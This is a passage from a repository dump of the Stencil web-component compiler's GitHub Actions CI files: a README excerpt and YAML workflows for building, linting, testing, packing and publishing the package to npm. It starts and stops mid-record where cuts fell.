(`main.yml`)\n\nThe main workflow for Stencil can be found in `main.yml` in this directory.\nThis workflow is the entrypoint of Stencil's CI system, and initializes every workflow & job that runs.\n\n### Build (`build.yml`)\n\nThis workflow is responsible for building Stencil and validating the resultant artifact.\n\n### Format (`format.yml`)\n\nThis workflow is responsible for validating that the code adheres to the Stencil team's formatting configuration before\na pull request is merged.\n\n### Dev Release (`release-dev.yml`)\n\nThis workflow initiates a developer build of Stencil from the `main` branch.\nIt is intended to be manually invoked by a member of the Stencil team.\n\n### Nightly Release (`release-nightly.yml`)\n\nThis workflow initiates a nightly build of Stencil from the `main` branch.\nA nightly build is similar to a 'Dev Release', except that:\n- it is run on a set cadence (it is not expectedthat a developer to manually invoke it)\n- it is published to the npm registry under the 'nightly' tag\n\n### Test Analysis (`test-analysis.yml`)\n\nThis workflow is responsible for running the Stencil analysis testing suite.\n\n### Test End-to-End (`test-e2e.yml`)\n\nThis workflow is responsible for running the Stencil end-to-end testing suite.\nThis suite does _not_ run Stencil's BrowserStack tests.\nThose are handled by a [separate workflow](#browserstack-browserstackyml).\n\n### Test Unit (`test-unit.yml`)\n\nThis workflow is responsible for running the Stencil unit testing suite.\n\n### WebdriverIO Tests (`test-wdio.yml`)\n\nThis workflow runs our integration tests which assert that various Stencil\nfeatures work correctly when components using them are built and then rendered\nin actual browsers. We run these tests using\n[WebdriverIO](https://webdriver.io/) against Firefox, Chrome, and Edge.\n\nFor more information on how those tests are set up please see the [WebdriverIO\ntest README](../../test/wdio/README.md).\n\n### Design\n\n#### Overview\n\nMost of the workflows above are contingent on the build finishing (otherwise there would be nothing to run against).\nThe diagram below displays the dependencies between each workflow.\n\n```mermaid\ngraph LR;\n    build-core-->test-analysis;\n    build-core-->test-e2e;\n    build-core-->test-unit;\n    format;\n```\n\nMaking each 'task' a reusable workflow allows CI to run more jobs in parallel, improving the throughput of Stencil's CI.\nAll resusable workflows can be found in the [workflows directory](.).\nThis is a GitHub Actions convention that cannot be overridden.\n\n#### Running Tests\n\nAll test-related jobs require the build to finish first.\nUpon successful completion of the build workflow, each test workflow will start.\n\nThe test-running workflows have been designed to run in parallel and are configured to run against several operating\nsystems & versions of node.\nFor a test workflow that theoretically runs on Ubuntu and Windows operating systems and targets Node v14, v16 and v18, a\nsingle test workflow may spawn several jobs:\n\n```mermaid\ngraph LR;\n    test-analysis-->ubuntu-node14;\n    test-analysis-->ubuntu-node16;\n    test-analysis-->ubuntu-node18;\n    test-analysis-->windows-node14;\n    test-analysis-->windows-node16;\n    test-analysis-->windows-node18;\n```\n\nThese 'os-node jobs' (e.g. `ubuntu-node16`) are designed to _not_ prematurely stop their sibling jobs should one of\nthem fail.\nThis allows the opportunity for the sibling test jobs to potentially pass, and reduce the number of runners that need to\nbe spun up again should a developer wish to 're-run failed jobs'.\nShould a developer feel that it is more appropriate to re-run all os-node jobs, they may do so using GitHub's 're-run\nall jobs' options in the GitHub Actions UI.\n\n#### Concurrency\n\nWhen a `git push` is made to a branch, Stencil's CI is designed to stop existing job(s) associated with the workflow + \nbranch.\nA new CI run (of each workflow) will begin upon stopping the existing job(s) using the new `HEAD` of the branch.\n\n## Repository Configuration\n\nEach of the workflows described in the [workflows section](#workflows) of this document must be configured in the\nStencil GitHub repository to be _required_ to pass in order to land code in the `main` branch."
  },
  {
    "path": ".github/workflows/actions/check-git-context/action.yml",
    "content": "name: 'Check Git Context'\ndescription: 'checks for a dirty git context, failing if the context is dirty'\nruns:\n  using: composite\n  steps:\n    - name: Git status check\n      # here we check that there are no changed / new files.\n      # we use `git status`, grep out the build zip used throughout CI,\n      # and check if there are more than 0 lines in the output.\n      run: if [[ $(git status --short | grep -c -v stencil-core-build.zip) -ne 0 ]]; then STATUS=$(git status --verbose); printf \"%s\" \"$STATUS\"; git diff | cat; exit 1; fi\n      shell: bash\n"
  },
  {
    "path": ".github/workflows/actions/download-archive/action.yml",
    "content": "name: 'Stencil Archive Download'\ndescription: 'downloads and decompresses an archive from a previous job'\ninputs:\n  path:\n    description: 'location to decompress the archive to'\n  filename:\n    description: 'the name of the decompressed artifact'\n  name:\n    description: 'name of the archive to decompress'\nruns:\n  using: 'composite'\n  steps:\n    - uses: actions/download-artifact@65a9edc5881444af0b9093a5e628f2fe47ea3b2e # v4.1.7\n      with:\n        name: ${{ inputs.name }}\n        path: ${{ inputs.path }}\n\n    - name: Extract Archive\n      run: unzip -q -o ${{ inputs.path }}/${{ inputs.filename }} -d ${{ inputs.path }}\n      shell: bash\n"
  },
  {
    "path": ".github/workflows/actions/get-core-dependencies/action.yml",
    "content": "name: 'Get Core Dependencies'\ndescription: 'sets the node version & initializes core dependencies'\nruns:\n  using: composite\n  steps:\n    # this overrides previous versions of the node runtime that was set.\n    # jobs that need a different version of the Node runtime should explicitly\n    # set their node version after running this step\n    - name: Use Node Version from Volta\n      uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3\n      with:\n        node-version-file: './package.json'\n        cache: 'npm'\n\n    - name: Install Dependencies\n      run: |\n        npm ci \\\n        && npm run install.jest\n\n      shell: bash\n"
  },
  {
    "path": ".github/workflows/actions/upload-archive/action.yml",
    "content": "name: 'Stencil Archive Upload'\ndescription: 'compresses and uploads an archive to be reused across jobs'\ninputs:\n  paths:\n    description: 'paths to files or directories to archive (recursive)'\n  output:\n    description: 'output file name'\n  name:\n    description: 'name of the archive to upload'\nruns:\n  using: 'composite'\n  steps:\n    - name: Create Archive\n      run: zip -q -r ${{ inputs.output }} ${{ inputs.paths }}\n      shell: bash\n\n    - uses: actions/upload-artifact@65462800fd760344b1a7b4382951275a0abb4808 # v4.3.3\n      with:\n        name: ${{ inputs.name }}\n        path: ${{ inputs.output }}\n"
  },
  {
    "path": ".github/workflows/build.yml",
    "content": "name: Build Stencil\n\non:\n  workflow_call:\n  # Make this a reusable workflow, no value needed\n  # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  build_core:\n    name: Core\n    strategy:\n      matrix:\n        os: ['ubuntu-22.04', 'windows-latest']\n    runs-on: ${{ matrix.os }}\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Core Build\n        run: npm run build -- --ci\n        shell: bash\n\n      - name: Validate Build\n        run: npm run test.dist\n        shell: bash\n\n      - name: Validate Testing\n        run: npm run test.testing\n        shell: bash\n\n      - name: Upload Build Artifacts\n        if: ${{ matrix.os == 'ubuntu-22.04' }}\n        uses: ./.github/workflows/actions/upload-archive\n        with:\n          name: stencil-core\n          output: stencil-core-build.zip\n          paths: cli compiler dev-server internal mock-doc scripts/build screenshot sys testing\n"
  },
  {
    "path": ".github/workflows/create-production-pr.yml",
    "content": "name: 'Stencil Production Release PR Creation'\non:\n  workflow_dispatch:\n    inputs:\n      version:\n        required: true\n        type: choice\n        description: Which version should be published?\n        options:\n          - prerelease\n          - prepatch\n          - preminor\n          - premajor\n          - patch\n          - minor\n          - major\n      base:\n        required: true\n        type: choice\n        description: Which base branch should be targeted?\n        default: main\n        options:\n          - main\n          - v3-maintenance\n\njobs:\n  create-stencil-release-pull-request:\n    name: Generate Stencil Release PR\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n      pull-requests: write\n    steps:\n      # Log the input from GitHub Actions for easy traceability\n      - name: Log GitHub Input\n        run: |\n          echo \"Version: ${{ inputs.version }}\"\n        shell: bash\n\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n        with:\n          # A depth of 0 gets the entire git history, which we'll want for things like checking all git history/tags.\n          # We need git history to generate the changelog; however, we don't know how deep to go.\n          # Since publishing is a one-off activity, just get everything.\n          fetch-depth: 0\n          ref: ${{ inputs.base }}\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      # TODO(STENCIL-927): Backport changes to the v3 branch\n      - name: Run Publish Preparation Script\n        run: npm run release.ci.prepare -- --version ${{ inputs.version }}\n        shell: bash\n\n      - name: Log Generated Changes\n        run: git --no-pager diff\n        shell: bash\n\n      - name: Generate Version String and Branch Name\n        id: name_gen\n        run: |\n          VERSION_STR=$(jq '.version' package.json | sed s/\\\"//g)\n          echo \"VERSION_STR=$VERSION_STR\" >> \"$GITHUB_OUTPUT\"\n          echo \"BRANCH_NAME=release/$VERSION_STR-run-${{ github.run_number }}-${{ github.run_attempt }}\" >> \"$GITHUB_OUTPUT\"\n        shell: bash\n\n      - name: Print Version String and Branch Name\n        run: |\n          echo Version: ${{ steps.name_gen.outputs.VERSION_STR }}\n          echo Branch Name: ${{ steps.name_gen.outputs.BRANCH_NAME }}\n        shell: bash\n\n      - name: Create the Pull Request\n        uses: peter-evans/create-pull-request@6d6857d36972b65feb161a90e484f2984215f83e # v6.0.5\n        with:\n          # create a new pull request using the specified base branch\n          base: ${{ inputs.base }}\n          # specifies the name of the branch to create off of the base branch\n          branch: '${{ steps.name_gen.outputs.BRANCH_NAME }}'\n          # TODO(STENCIL-928): Remove this once pipeline is 'ready'\n          draft: true\n          # create a commit message containing the semver version, prefixed with a 'v' - e.g. 'v4.1.0'\n          commit-message: 'v${{ steps.name_gen.outputs.VERSION_STR }}'\n          # set the title of the pull request, otherwise it'll default to generic message\n          title: 'Release v${{ steps.name_gen.outputs.VERSION_STR }}'\n          # the body of the pull request summary can be empty\n          body: ''\n"
  },
  {
    "path": ".github/workflows/lint-and-format.yml",
    "content": "name: Lint and Format Stencil (Check)\n\non:\n  merge_group:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  format:\n    name: Check\n    runs-on: 'ubuntu-22.04'\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: ESLint\n        run: npm run lint\n\n      - name: Prettier Check\n        run: npm run prettier.dry-run\n        shell: bash\n\n      - name: Spellcheck\n        run: npm run spellcheck\n"
  },
  {
    "path": ".github/workflows/main.yml",
    "content": "name: CI\n\non:\n  merge_group:\n  push:\n    branches:\n      - 'main'\n      - 'stencil/v4-dev'\n  pull_request:\n    branches:\n      - '**'\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: true\n\npermissions:\n  contents: read\n\njobs:\n  build_core:\n    name: Build\n    uses: ./.github/workflows/build.yml\n\n  lint_and_format:\n    name: Lint and Format\n    uses: ./.github/workflows/lint-and-format.yml\n\n  type_tests:\n    name: Type Tests\n    needs: [build_core]\n    uses: ./.github/workflows/test-types.yml\n\n  analysis_tests:\n    name: Analysis Tests\n    needs: [build_core]\n    uses: ./.github/workflows/test-analysis.yml\n\n  docs_build_tests:\n    name: Docs Build Tests\n    needs: [build_core]\n    uses: ./.github/workflows/test-docs-build.yml\n\n  bundler_tests:\n    name: Bundler Tests\n    needs: [build_core]\n    uses: ./.github/workflows/test-bundlers.yml\n\n  copytask_tests:\n    name: Copy Task Tests\n    needs: [build_core]\n    uses: ./.github/workflows/test-copytask.yml\n\n  component_starter_tests:\n    name: Component Starter Smoke Test\n    needs: [build_core]\n    uses: ./.github/workflows/test-component-starter.yml\n\n  e2e_tests:\n    name: E2E Tests\n    needs: [build_core]\n    uses: ./.github/workflows/test-e2e.yml\n\n  unit_tests:\n    name: Unit Tests\n    needs: [build_core]\n    uses: ./.github/workflows/test-unit.yml\n\n  wdio_tests:\n    name: WebdriverIO Tests\n    needs: [build_core]\n    uses: ./.github/workflows/test-wdio.yml\n"
  },
  {
    "path": ".github/workflows/publish-npm.yml",
    "content": "name: 'Release'\n\non:\n  workflow_call:\n    inputs:\n      version:\n        description: 'The type of version to release.'\n        required: true\n        type: string\n      tag:\n        description: 'The tag to publish to on NPM.'\n        required: true\n        type: string\n      node-version:\n        description: 'Node.js version to use when publishing.'\n        required: false\n        type: string\n        default: '20'\n      registry-url:\n        description: 'Registry URL used for npm publish.'\n        required: false\n        type: string\n        default: 'https://registry.npmjs.org'\n      scope:\n        description: 'npm scope that should use the trusted publisher auth.'\n        required: false\n        type: string\n        default: '@stencil'\n\npermissions:\n  contents: write\n  id-token: write\n\njobs:\n  publish:\n    runs-on: ubuntu-latest\n    steps:\n      - name: 📥 Checkout Code\n        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0\n\n      - name: 🕸️ Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: 🟢 Configure Node for Publish\n        uses: actions/setup-node@2028fbc5c25fe9cf00d9f06a71cc4710d4507903 # v6.0.0\n        with:\n          node-version: ${{ inputs.node-version }}\n          registry-url: ${{ inputs.registry-url }}\n          scope: ${{ inputs.scope }}\n\n      - name: 🔄 Ensure Latest npm\n        run: npm install -g npm@latest\n        shell: bash\n\n      - name: 📥 Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: 🏷️ Set Version\n        run: npm version --no-git-tag-version --allow-same-version ${{ inputs.version }}\n        shell: bash\n\n      - name: 🚀 Publish to NPM\n        run: npm publish --tag ${{ inputs.tag }} --provenance\n        shell: bash\n"
  },
  {
    "path": ".github/workflows/release-dev.yml",
    "content": "name: 'Stencil Dev Release'\n\non:\n  workflow_call:\n    outputs:\n      dev-version:\n        description: The version that was just published to npm.\n        value: ${{ jobs.get-dev-version.outputs.dev-version }}\n\npermissions:\n  contents: write\n  id-token: write\n\njobs:\n  build_core:\n    name: 🏗️ Build\n    uses: ./.github/workflows/build.yml\n\n  get-dev-version:\n    name: 🔍 Get Dev Build Version\n    needs: [build_core]\n    runs-on: ubuntu-22.04\n    outputs:\n      dev-version: ${{ steps.get-dev-version.outputs.DEV_VERSION }}\n    steps:\n      - name: 📥 Checkout Code\n        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0\n\n      - name: 🕸️ Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: 📥 Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: 🔎 Get Version\n        id: get-dev-version\n        run: |\n          # A unique string to publish Stencil under\n          # e.g. \"3.0.1-dev.1677185104.7c87e34\"\n          #\n          # Pull this value from the compiled artifacts\n          DEV_VERSION=$(./bin/stencil version)\n\n          echo \"Using version $DEV_VERSION\"\n\n          # store a key/value pair in GITHUB_OUTPUT\n          # e.g. \"DEV_VERSION=3.0.1-dev.1677185104.7c87e34\"\n          echo \"DEV_VERSION=$DEV_VERSION\" >> $GITHUB_OUTPUT\n\n        shell: bash\n\n  release-stencil-dev-build:\n    name: 🚀 Publish Dev Build\n    needs: [get-dev-version, build_core]\n    uses: ./.github/workflows/publish-npm.yml\n    with:\n      tag: dev\n      version: ${{ needs.get-dev-version.outputs.dev-version }}\n"
  },
  {
    "path": ".github/workflows/release-nightly.yml",
    "content": "name: 'Stencil Nightly Release'\n\non:\n  workflow_call:\n\npermissions:\n  contents: write\n  id-token: write\n\njobs:\n  build_core:\n    name: 🏗️ Build\n    uses: ./.github/workflows/build.yml\n\n  get-nightly-version:\n    name: 🔍 Get Nightly Build Version\n    needs: [build_core]\n    runs-on: ubuntu-22.04\n    outputs:\n      nightly-version: ${{ steps.get-nightly-version.outputs.NIGHTLY_VERSION }}\n    steps:\n      - name: 📥 Checkout Code\n        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0\n\n      - name: 🕸️ Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: 📥 Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: 🔎 Get Version\n        id: get-nightly-version\n        run: |\n          # A unique string to publish Stencil under\n          # e.g. \"3.0.1-dev.1677185104.7c87e34\"\n          #\n          # Note: A 'nightly' build is just a 'dev' build that is published at\n          # night, under the 'nightly' tag in npm\n          #\n          # Pull this value from the compiled artifacts\n          NIGHTLY_VERSION=$(./bin/stencil version)\n\n          echo \"Using version $NIGHTLY_VERSION\"\n\n          # store a key/value pair in GITHUB_OUTPUT\n          # e.g. \"NIGHTLY_VERSION=3.0.1-dev.1677185104.7c87e34\"\n          echo \"NIGHTLY_VERSION=$NIGHTLY_VERSION\" >> $GITHUB_OUTPUT\n\n        shell: bash\n\n  release-stencil-nightly-build:\n    name: 🚀 Publish Nightly Build\n    needs: [get-nightly-version, build_core]\n    uses: ./.github/workflows/publish-npm.yml\n    with:\n      tag: nightly\n      version: ${{ needs.get-nightly-version.outputs.nightly-version }}\n"
  },
  {
    "path": ".github/workflows/release-orchestrator.yml",
    "content": "name: 'Stencil Release'\n\non:\n  schedule:\n    # Run every Monday-Friday at 5:00 AM (UTC)\n    - cron: '00 05 * * 1-5'\n  workflow_dispatch:\n    inputs:\n      release-type:\n        description: 'Which Stencil release workflow should run?'\n        required: true\n        type: choice\n        default: nightly\n        options:\n          - dev\n          - nightly\n          - production\n      tag:\n        description: 'npm tag for production releases.'\n        required: false\n        type: choice\n        default: latest\n        options:\n          - dev\n          - latest\n          - use_pkg_json_version\n      base:\n        description: 'Base branch for production releases.'\n        required: false\n        type: choice\n        default: main\n        options:\n          - main\n          - v3-maintenance\n\npermissions:\n  contents: write\n  id-token: write\n\njobs:\n  run-nightly:\n    if: ${{ github.event_name == 'schedule' || (github.event_name == 'workflow_dispatch' && inputs.release-type == 'nightly') }}\n    uses: ./.github/workflows/release-nightly.yml\n    secrets: inherit\n\n  run-dev:\n    if: ${{ github.event_name == 'workflow_dispatch' && inputs.release-type == 'dev' }}\n    uses: ./.github/workflows/release-dev.yml\n    secrets: inherit\n\n  run-production:\n    if: ${{ github.event_name == 'workflow_dispatch' && inputs.release-type == 'production' }}\n    uses: ./.github/workflows/release-production.yml\n    secrets: inherit\n    with:\n      tag: ${{ inputs.tag }}\n      base: ${{ inputs.base }}\n"
  },
  {
    "path": ".github/workflows/release-production.yml",
    "content": "name: 'Stencil Production Release'\non:\n  workflow_call:\n    inputs:\n      tag:\n        required: false\n        default: latest\n        type: string\n        description: Which npm tag should this be published to? (dev, latest, or use_pkg_json_version)\n      base:\n        required: true\n        type: string\n        description: Which base branch should be targeted? (main or v3-maintenance)\n        default: main\n\npermissions:\n  contents: write\n  id-token: write\n\njobs:\n  release-stencil-production-build:\n    name: Publish Stencil (Production)\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n      id-token: write\n    steps:\n      # Log the input from GitHub Actions for easy traceability\n      - name: 🔒 Log GitHub Workflow UI Input\n        run: |\n          echo \"Tag: ${{ inputs.tag }}\"\n          echo \"Base Branch: ${{ inputs.base }}\"\n        shell: bash\n\n      - name: 🔎 Verify that the 'latest' tag is applied only to the 'main' branch\n        run: |\n          echo \"The 'latest' tag can only be published from the 'main' branch. Exiting.\"\n          exit 1\n        shell: bash\n        if: ${{ inputs.base != 'main' && inputs.tag == 'latest' }}\n\n      - name: 📥 Checkout Code\n        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0\n        with:\n          # A depth of 0 gets the entire git history, which we'll want for things like checking all git history/tags.\n          # We need git history to generate the changelog; however, we don't know how deep to go.\n          # Since publishing is a one-off activity, just get everything.\n          fetch-depth: 0\n          ref: ${{ inputs.base }}\n\n      - name: 🕸️ Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: 🟢 Configure Node for Publish\n        uses: actions/setup-node@2028fbc5c25fe9cf00d9f06a71cc4710d4507903 # v6.0.0\n        with:\n          node-version: '20'\n          registry-url: 'https://registry.npmjs.org'\n\n      - name: 🔄 Ensure Latest npm\n        run: npm install -g npm@latest\n        shell: bash\n\n      - name: 📦 Run Publish Scripts\n        # pass the generated version number instead of the input, since we've already incremented it in the prerelease\n        # step\n        run: npm run release.ci -- --tag ${{ inputs.tag }}\n        shell: bash\n"
  },
  {
    "path": ".github/workflows/reproduire.yml",
    "content": "name: Needs Reproduction\n\non:\n  issues:\n    types: [labeled]\n\npermissions:\n  issues: write\n\njobs:\n  reproduire:\n    runs-on: ubuntu-latest\n    if: \"github.event.label.name == 'ionitron: needs reproduction'\"\n    steps:\n      - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v4\n      - uses: Hebilicious/reproduire@v0.0.9-mp\n        with:\n          label: 'ionitron: needs reproduction'\n"
  },
  {
    "path": ".github/workflows/test-analysis.yml",
    "content": "name: Analysis Tests\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  analysis_test:\n    name: (${{ matrix.os }}.${{ matrix.node }})\n    strategy:\n      fail-fast: false\n      matrix:\n        node: ['20', '22']\n        os: ['ubuntu-latest', 'windows-latest']\n    runs-on: ${{ matrix.os }}\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Use Node ${{ matrix.node }}\n        uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'npm'\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: Bundle Size Test\n        run: npm run test.bundle-size\n        shell: bash\n\n      - name: Check Git Context\n        uses: ./.github/workflows/actions/check-git-context\n"
  },
  {
    "path": ".github/workflows/test-bundlers.yml",
    "content": "name: Bundler Tests\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  bundler_tests:\n    name: Verify Bundlers\n    runs-on: 'ubuntu-22.04'\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: Bundler Tests\n        run: npm run test.bundlers\n        shell: bash\n\n      - name: Check Git Context\n        uses: ./.github/workflows/actions/check-git-context\n"
  },
  {
    "path": ".github/workflows/test-component-starter.yml",
    "content": "name: Component Starter Smoke Test\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  analysis_test:\n    name: (${{ matrix.os }}.node-${{ matrix.node }})\n    strategy:\n      fail-fast: false\n      matrix:\n        node: ['20', '22']\n        os: ['ubuntu-latest', 'windows-latest']\n    runs-on: ${{ matrix.os }}\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Use Node ${{ matrix.node }}\n        uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'npm'\n\n      - name: Create Pack Directory\n        # `mkdir` will fail if this directory already exists.\n        # in the next steps, we'll immediately put the packed build archive in this directory.\n        # between that and excluding `*.tgz` files in `.gitignore`, that _should_ make it safe enough for us to later\n        # use `mv` to rename the `npm pack`ed tarball\n        run: mkdir stencil-pack-destination\n        shell: bash\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: ./stencil-pack-destination\n          filename: stencil-core-build.zip\n\n      - name: Copy package.json\n        # need `package.json` in order to run `npm pack`\n        run: cp package.json ./stencil-pack-destination\n        shell: bash\n\n      - name: Copy bin\n        # `bin/` isn't a part of the compiled output (therefore not in the build archive).\n        # we need this entrypoint for stencil to run.\n        run: cp -R bin ./stencil-pack-destination\n        shell: bash\n\n      - name: Remove node_modules\n        # clear out our local `node_modules/` so that they're not linked to in any way when `npm pack` is run\n        run: rm -rf node_modules/\n        shell: bash\n\n      - name: Pack the Build Archive\n        run: npm pack\n        working-directory: ./stencil-pack-destination\n        shell: bash\n\n      - name: Move the Stencil Build Artifact\n        # there isn't a great way to get the output of `npm pack`, just grab the most recent from our destination\n        # directory and hope for the best.\n        #\n        # we don't set the working-directory here to avoid having to deal with relative paths in the destination arg\n        run: mv $(ls -t stencil-pack-destination/*.tgz | head -1) stencil-eval.tgz\n        shell: bash\n\n      - name: Initialize Component Starter\n        run: npm init stencil component tmp-component-starter\n        shell: bash\n\n      - name: Install Component Starter Dependencies\n        run: npm install\n        working-directory: ./tmp-component-starter\n        shell: bash\n\n      - name: Install Stencil Eval\n        run: npm i ../stencil-eval.tgz\n        working-directory: ./tmp-component-starter\n        shell: bash\n\n      - name: Install Playwright Browsers\n        run: npx playwright install\n\n      - name: Build Starter Project\n        run: npm run build\n        working-directory: ./tmp-component-starter\n        shell: bash\n\n      - name: Test Starter Project\n        run: npm run test -- --no-build # the project was just built, don't build it again\n        working-directory: ./tmp-component-starter\n        shell: bash\n\n      # TEMPORARILY DISABLE\n      # Disable until we update the generate task in v5 to work with new testing setup.\n\n      # - name: Test npx stencil generate\n      #   # `stencil generate` doesn't have a way to skip file generation, so we provide it with a component name and run\n      #   # `echo` with a newline to select \"all files\" to generate (and use -e to interpret that backslash for a newline)\n      #   run: echo -e '\\n' | npm run generate -- hello-world\n      #   working-directory: ./tmp-component-starter\n      #   shell: bash\n\n      # - name: Verify Files Exist\n      #   run: |\n      #     file_list=(\n      #       src/components/hello-world/hello-world.tsx\n      #       src/components/hello-world/hello-world.css\n      #       src/components/hello-world/test/hello-world.spec.tsx\n      #       src/components/hello-world/test/hello-world.e2e.ts\n      #     )\n      #     for file in \"${file_list[@]}\"; do\n      #         if [ -f \"$file\" ]; then\n      #             echo \"File '$file' exists.\"\n      #         else\n      #             echo \"File '$file' does not exist.\"\n      #             exit 1\n      #         fi\n      #     done\n      #   working-directory: ./tmp-component-starter\n      #   shell: bash\n\n      # - name: Test Generated Files\n      #   run: npm run test\n      #   working-directory: ./tmp-component-starter\n      #   shell: bash\n"
  },
  {
    "path": ".github/workflows/test-copytask.yml",
    "content": "name: Copy Task Tests\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  bundler_tests:\n    name: Verify Copy Task\n    runs-on: 'ubuntu-22.04'\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: Bundler Tests\n        run: npm run test.copytask\n        shell: bash\n\n      - name: Check Git Context\n        uses: ./.github/workflows/actions/check-git-context\n"
  },
  {
    "path": ".github/workflows/test-docs-build.yml",
    "content": "name: Docs OT Build Tests\n\non:\n  workflow_call:\n    # Make this a reusable workflow, no value needed\n    # https://docs.github.com/en/actions/using-workflows/reusing-workflows\n\npermissions:\n  contents: read\n\njobs:\n  docs_build_test:\n    name: (${{ matrix.os }}.${{ matrix.node }})\n    strategy:\n      fail-fast: false\n      matrix:\n        node: ['20', '22']\n        os: ['ubuntu-latest', 'windows-latest']\n    runs-on: ${{ matrix.os }}\n    steps:\n      - name: Checkout Code\n        uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7\n\n      - name: Get Core Dependencies\n        uses: ./.github/workflows/actions/get-core-dependencies\n\n      - name: Use Node ${{ matrix.node }}\n        uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3\n        with:\n          node-version: ${{ matrix.node }}\n          cache: 'npm'\n\n      - name: Download Build Archive\n        uses: ./.github/workflows/actions/download-archive\n        with:\n          name: stencil-core\n          path: .\n          filename: stencil-core-build.zip\n\n      - name: Docs Build Tests\n        run: npm run test.docs-build\n        shell: bash\n\n      - name: Check Git Context\n        uses: ./.github/workflows/actions/check-git-context\n"
  },
  {
    "path": ".github/workflows/test-e2e.yml",
